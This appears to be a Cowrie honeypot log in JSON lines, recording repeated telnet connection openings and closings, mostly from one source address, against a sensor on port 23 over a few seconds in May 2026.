{"eventid":"cowrie.session.closed","duration":30.173170804977417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:26.041214Z","src_ip":"147.135.136.77","session":"b338569da8b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.905460119247437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:26.148705Z","src_ip":"147.135.136.77","session":"94f31ed6e78b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48072576522827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:26.249815Z","src_ip":"37.187.24.227","session":"8699f27a5ba3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.015350580215454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:26.254517Z","src_ip":"147.135.136.77","session":"fcb89eb40b60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52030,"dst_ip":"159.203.135.109","dst_port":23,"session":"b277a4485b09","protocol":"telnet","message":"New connection: 147.135.136.77:52030 (159.203.135.109:23) [session: b277a4485b09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:26.331668Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:26.448551Z","src_ip":"103.228.69.212","session":"fcab585d338f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52036,"dst_ip":"159.203.135.109","dst_port":23,"session":"72af71aa3434","protocol":"telnet","message":"New connection: 147.135.136.77:52036 (159.203.135.109:23) [session: 72af71aa3434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:26.496125Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52048,"dst_ip":"159.203.135.109","dst_port":23,"session":"d68e9b1aa312","protocol":"telnet","message":"New connection: 147.135.136.77:52048 (159.203.135.109:23) [session: d68e9b1aa312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:26.756388Z"}
{"eventid":"cowrie.session.closed","duration":31.48922109603882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:27.007610Z","src_ip":"147.135.136.77","session":"6e238bbd69d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.812425136566162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:27.039061Z","src_ip":"147.135.136.77","session":"523e3b7d2c1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.776853322982788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:27.054867Z","src_ip":"147.135.136.77","session":"9eec85b007a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.010092735290527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:27.059569Z","src_ip":"147.135.136.77","session":"4d63f2a242f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52054,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c8c35e549f6","protocol":"telnet","message":"New connection: 147.135.136.77:52054 (159.203.135.109:23) [session: 9c8c35e549f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:27.346568Z"}
{"eventid":"cowrie.session.closed","duration":31.259419441223145,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:27.492097Z","src_ip":"168.119.91.149","session":"0b24c262985a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52058,"dst_ip":"159.203.135.109","dst_port":23,"session":"911435e502e8","protocol":"telnet","message":"New connection: 147.135.136.77:52058 (159.203.135.109:23) [session: 911435e502e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:27.769614Z"}
{"eventid":"cowrie.session.closed","duration":30.87037944793701,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:28.079837Z","src_ip":"147.135.136.77","session":"984669c27f39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50397515296936,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:28.136687Z","src_ip":"147.135.136.77","session":"3b92ebc5cf18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.010579347610474,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:28.205206Z","src_ip":"147.135.136.77","session":"ad6e427263d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52060,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cff87ca2ad9","protocol":"telnet","message":"New connection: 147.135.136.77:52060 (159.203.135.109:23) [session: 3cff87ca2ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:28.291693Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52070,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b6775a469ea","protocol":"telnet","message":"New connection: 147.135.136.77:52070 (159.203.135.109:23) [session: 6b6775a469ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:28.297489Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52086,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc166f61249b","protocol":"telnet","message":"New connection: 147.135.136.77:52086 (159.203.135.109:23) [session: fc166f61249b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:28.390877Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":39256,"dst_ip":"159.203.135.109","dst_port":23,"session":"a82316e037b6","protocol":"telnet","message":"New connection: 168.119.91.149:39256 (159.203.135.109:23) [session: a82316e037b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:28.432080Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":39272,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3939df19121","protocol":"telnet","message":"New connection: 168.119.91.149:39272 (159.203.135.109:23) [session: d3939df19121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:28.656517Z"}
{"eventid":"cowrie.session.closed","duration":31.01560139656067,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:29.061258Z","src_ip":"51.79.21.139","session":"bd4ed1852f88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.017841577529907,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:29.117148Z","src_ip":"147.135.136.77","session":"fe230dbc6141","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.915021181106567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:29.227496Z","src_ip":"147.135.136.77","session":"e23154fca78e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52116,"dst_ip":"159.203.135.109","dst_port":23,"session":"00b716aed741","protocol":"telnet","message":"New connection: 147.135.136.77:52116 (159.203.135.109:23) [session: 00b716aed741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:29.267319Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":53128,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad0942973afd","protocol":"telnet","message":"New connection: 85.208.100.77:53128 (159.203.135.109:23) [session: ad0942973afd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:29.278675Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52102,"dst_ip":"159.203.135.109","dst_port":23,"session":"c61a272e4acf","protocol":"telnet","message":"New connection: 147.135.136.77:52102 (159.203.135.109:23) [session: c61a272e4acf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:29.478251Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52128,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f39eaccdf28","protocol":"telnet","message":"New connection: 147.135.136.77:52128 (159.203.135.109:23) [session: 8f39eaccdf28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:29.597064Z"}
{"eventid":"cowrie.session.closed","duration":31.827281713485718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:29.910596Z","src_ip":"147.135.136.77","session":"c501c3b1a09a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":39586,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba88883d0225","protocol":"telnet","message":"New connection: 168.119.91.149:39586 (159.203.135.109:23) [session: ba88883d0225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:30.033681Z"}
{"eventid":"cowrie.session.closed","duration":30.84537124633789,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:30.042824Z","src_ip":"147.135.136.77","session":"add3393b644d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.653026342391968,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:30.068431Z","src_ip":"147.135.136.77","session":"a269f44ce85a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.652132272720337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:30.074295Z","src_ip":"147.135.136.77","session":"3efe59a93dda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52144,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccb90b2c96d9","protocol":"telnet","message":"New connection: 147.135.136.77:52144 (159.203.135.109:23) [session: ccb90b2c96d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:30.226340Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52150,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1cce5175320","protocol":"telnet","message":"New connection: 147.135.136.77:52150 (159.203.135.109:23) [session: b1cce5175320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:30.270168Z"}
{"eventid":"cowrie.session.closed","duration":30.953586101531982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:30.277362Z","src_ip":"147.135.136.77","session":"7c93e4636ea5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52166,"dst_ip":"159.203.135.109","dst_port":23,"session":"e51ce3df0e91","protocol":"telnet","message":"New connection: 147.135.136.77:52166 (159.203.135.109:23) [session: e51ce3df0e91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:30.324814Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52178,"dst_ip":"159.203.135.109","dst_port":23,"session":"e40f8337dee8","protocol":"telnet","message":"New connection: 147.135.136.77:52178 (159.203.135.109:23) [session: e40f8337dee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:30.503442Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52194,"dst_ip":"159.203.135.109","dst_port":23,"session":"567bd06514a6","protocol":"telnet","message":"New connection: 147.135.136.77:52194 (159.203.135.109:23) [session: 567bd06514a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:30.602621Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52180,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6b7415c11a2","protocol":"telnet","message":"New connection: 147.135.136.77:52180 (159.203.135.109:23) [session: e6b7415c11a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:30.611327Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":39596,"dst_ip":"159.203.135.109","dst_port":23,"session":"289b46869713","protocol":"telnet","message":"New connection: 168.119.91.149:39596 (159.203.135.109:23) [session: 289b46869713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:30.823483Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":39602,"dst_ip":"159.203.135.109","dst_port":23,"session":"350ddf5422d1","protocol":"telnet","message":"New connection: 168.119.91.149:39602 (159.203.135.109:23) [session: 350ddf5422d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:30.895339Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":54196,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cdc492f289e","protocol":"telnet","message":"New connection: 37.187.24.227:54196 (159.203.135.109:23) [session: 2cdc492f289e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:30.939918Z"}
{"eventid":"cowrie.session.closed","duration":31.37256169319153,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:31.036635Z","src_ip":"147.135.136.77","session":"200a46a9dc2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":40812,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5beb9e90148","protocol":"telnet","message":"New connection: 51.79.21.139:40812 (159.203.135.109:23) [session: b5beb9e90148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:31.041051Z"}
{"eventid":"cowrie.session.closed","duration":30.755470514297485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:31.156095Z","src_ip":"147.135.136.77","session":"0094120c1f41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.299618244171143,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:31.540051Z","src_ip":"147.135.136.77","session":"d7b0c3cbf9d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52202,"dst_ip":"159.203.135.109","dst_port":23,"session":"758cfeb393ef","protocol":"telnet","message":"New connection: 147.135.136.77:52202 (159.203.135.109:23) [session: 758cfeb393ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:31.612413Z"}
{"eventid":"cowrie.session.closed","duration":30.765567779541016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:32.039239Z","src_ip":"147.135.136.77","session":"aff88857f353","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.057990312576294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:32.061183Z","src_ip":"147.135.136.77","session":"a13862d56cc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52216,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3ea523be809","protocol":"telnet","message":"New connection: 147.135.136.77:52216 (159.203.135.109:23) [session: d3ea523be809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:32.083677Z"}
{"eventid":"cowrie.session.closed","duration":30.80756640434265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:32.097778Z","src_ip":"147.135.136.77","session":"5065ebfbd5e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04897689819336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:32.125319Z","src_ip":"147.135.136.77","session":"8085db659ad6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52226,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cc66661f00d","protocol":"telnet","message":"New connection: 147.135.136.77:52226 (159.203.135.109:23) [session: 2cc66661f00d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:32.285047Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52234,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1a16a3e98f6","protocol":"telnet","message":"New connection: 147.135.136.77:52234 (159.203.135.109:23) [session: f1a16a3e98f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:32.424603Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52244,"dst_ip":"159.203.135.109","dst_port":23,"session":"079b307640ac","protocol":"telnet","message":"New connection: 147.135.136.77:52244 (159.203.135.109:23) [session: 079b307640ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:32.550335Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52258,"dst_ip":"159.203.135.109","dst_port":23,"session":"5abb79f82b7e","protocol":"telnet","message":"New connection: 147.135.136.77:52258 (159.203.135.109:23) [session: 5abb79f82b7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:32.626750Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52270,"dst_ip":"159.203.135.109","dst_port":23,"session":"515fff7e2a20","protocol":"telnet","message":"New connection: 147.135.136.77:52270 (159.203.135.109:23) [session: 515fff7e2a20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:32.906143Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52272,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ef2e4961b3f","protocol":"telnet","message":"New connection: 147.135.136.77:52272 (159.203.135.109:23) [session: 5ef2e4961b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:32.917981Z"}
{"eventid":"cowrie.session.closed","duration":30.398422956466675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:33.174152Z","src_ip":"147.135.136.77","session":"48cd6728051a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52280,"dst_ip":"159.203.135.109","dst_port":23,"session":"801e328b664a","protocol":"telnet","message":"New connection: 147.135.136.77:52280 (159.203.135.109:23) [session: 801e328b664a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:33.217754Z"}
{"eventid":"cowrie.session.closed","duration":31.095229864120483,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:33.333964Z","src_ip":"147.135.136.77","session":"3abe2b25ebbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52290,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb6ab2a848fc","protocol":"telnet","message":"New connection: 147.135.136.77:52290 (159.203.135.109:23) [session: fb6ab2a848fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:33.464805Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52306,"dst_ip":"159.203.135.109","dst_port":23,"session":"58b6ff9106e2","protocol":"telnet","message":"New connection: 147.135.136.77:52306 (159.203.135.109:23) [session: 58b6ff9106e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:33.619745Z"}
{"eventid":"cowrie.session.closed","duration":30.28419780731201,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:34.038664Z","src_ip":"147.135.136.77","session":"8ebba13bfda8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.29776883125305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:34.057802Z","src_ip":"147.135.136.77","session":"d684b00406e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82834529876709,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:34.105643Z","src_ip":"147.135.136.77","session":"eaf3c2d608f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.273433208465576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:34.576850Z","src_ip":"147.135.136.77","session":"e07e83f4ecd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52310,"dst_ip":"159.203.135.109","dst_port":23,"session":"8232bf0719fe","protocol":"telnet","message":"New connection: 147.135.136.77:52310 (159.203.135.109:23) [session: 8232bf0719fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:34.599284Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52320,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b9d74adef21","protocol":"telnet","message":"New connection: 147.135.136.77:52320 (159.203.135.109:23) [session: 8b9d74adef21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:35.336129Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59546,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fb9e92dc523","protocol":"telnet","message":"New connection: 147.135.136.77:59546 (159.203.135.109:23) [session: 7fb9e92dc523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:35.850438Z"}
{"eventid":"cowrie.session.closed","duration":30.45870852470398,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:36.193063Z","src_ip":"147.135.136.77","session":"550747a062d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59550,"dst_ip":"159.203.135.109","dst_port":23,"session":"d33d6a8acae5","protocol":"telnet","message":"New connection: 147.135.136.77:59550 (159.203.135.109:23) [session: d33d6a8acae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:36.327821Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59562,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4534383513d","protocol":"telnet","message":"New connection: 147.135.136.77:59562 (159.203.135.109:23) [session: e4534383513d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:36.369757Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59578,"dst_ip":"159.203.135.109","dst_port":23,"session":"e137e933963e","protocol":"telnet","message":"New connection: 147.135.136.77:59578 (159.203.135.109:23) [session: e137e933963e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:36.415776Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59596,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9932b4bf8fd","protocol":"telnet","message":"New connection: 147.135.136.77:59596 (159.203.135.109:23) [session: e9932b4bf8fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:36.629204Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59600,"dst_ip":"159.203.135.109","dst_port":23,"session":"8980c6f002d8","protocol":"telnet","message":"New connection: 147.135.136.77:59600 (159.203.135.109:23) [session: 8980c6f002d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:36.753712Z"}
{"eventid":"cowrie.session.closed","duration":30.289817810058594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:37.087695Z","src_ip":"147.135.136.77","session":"7b90637dec6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.602975845336914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:37.094061Z","src_ip":"147.135.136.77","session":"d17e4d0e171a","protocol":"telnet"}
